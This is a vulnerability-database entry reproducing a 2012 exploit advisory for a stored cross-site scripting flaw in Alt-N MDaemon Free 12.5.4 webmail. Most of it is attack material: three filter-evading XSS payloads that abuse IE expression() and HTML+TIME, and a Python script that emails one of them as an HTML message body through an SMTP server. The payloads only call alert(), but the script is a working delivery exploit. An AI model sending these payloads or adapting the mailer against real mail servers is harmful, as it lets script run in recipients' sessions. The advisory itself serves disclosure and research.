alt-n mdaemon free 12.5.4 - Stored XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Alt-N MDaemon Free 12.5.4 - Stored XSS vulnerability in Windows Server 200


                                                #!/usr/bin/python

&#39;&#39;&#39;

Author: loneferret of Offensive Security
Product: Alt-N MDaemon Free
Version: 12.5.4
Vendor Site: http://www.altn.com/
Software Download: http://www.altn.com/Downloads/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
18 Jul 2012: Vendor requests additional information from CERT. CERT advises vendor to contact the researcher.
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Injection Point: Body
Injection Payload(s):
1: exp/*&#60;XSS STYLE=&#39;no\xss:noxss(&#34;*//*&#34;);
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(&#34;XSS&#34;))&#39;&#62;
2: &#60;IMG STYLE=&#34;xss:expr/*XSS*/ession(alert(&#39;XSS&#39;))&#34;&#62;
3: &#60;HTML&#62;&#60;BODY&#62;
&#60;?xml:namespace prefix=&#34;t&#34; ns=&#34;urn:schemas-microsoft-com:time&#34;&#62;
&#60;?import namespace=&#34;t&#34; implementation=&#34;#default#time2&#34;&#62;
&#60;t:set attributeName=&#34;innerHTML&#34; to=&#34;XSS&#60;SCRIPT DEFER&#62;alert(&#39;XSS&#39;)&#60;/SCRIPT&#62;&#34;&#62; &#60;/BODY&#62;&#60;/HTML&#62;

&#39;&#39;&#39;

import smtplib, urllib2

payload = &#34;&#34;&#34;&#60;IMG STYLE=&#34;xss:expr/*XSS*/ession(alert(&#39;XSS&#39;))&#34;&#62;&#34;&#34;&#34;

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = &#34;From: [email protected]\n&#34;
        msg += &#34;To: [email protected]\n&#34;
        msg += &#39;Date: Today\r\n&#39;
        msg += &#34;Subject: XSS\n&#34;
        msg += &#34;Content-type: text/html\n\n&#34;
        msg += &#34;XSS&#34; + payload + &#34;\r\n\r\n&#34;
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print &#34;[-] Failed to send email:&#34;
                print &#34;[*] &#34; + str(e)
        server.quit()

username = &#34;[email protected]&#34;
password = &#34;123456&#34;
dstemail = &#34;[email protected]&#34;
frmemail = &#34;[email protected]&#34;
smtpsrv  = &#34;172.16.84.171&#34;

print &#34;[*] Sending Email&#34;
sendMail(dstemail, frmemail, smtpsrv, username, password)

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1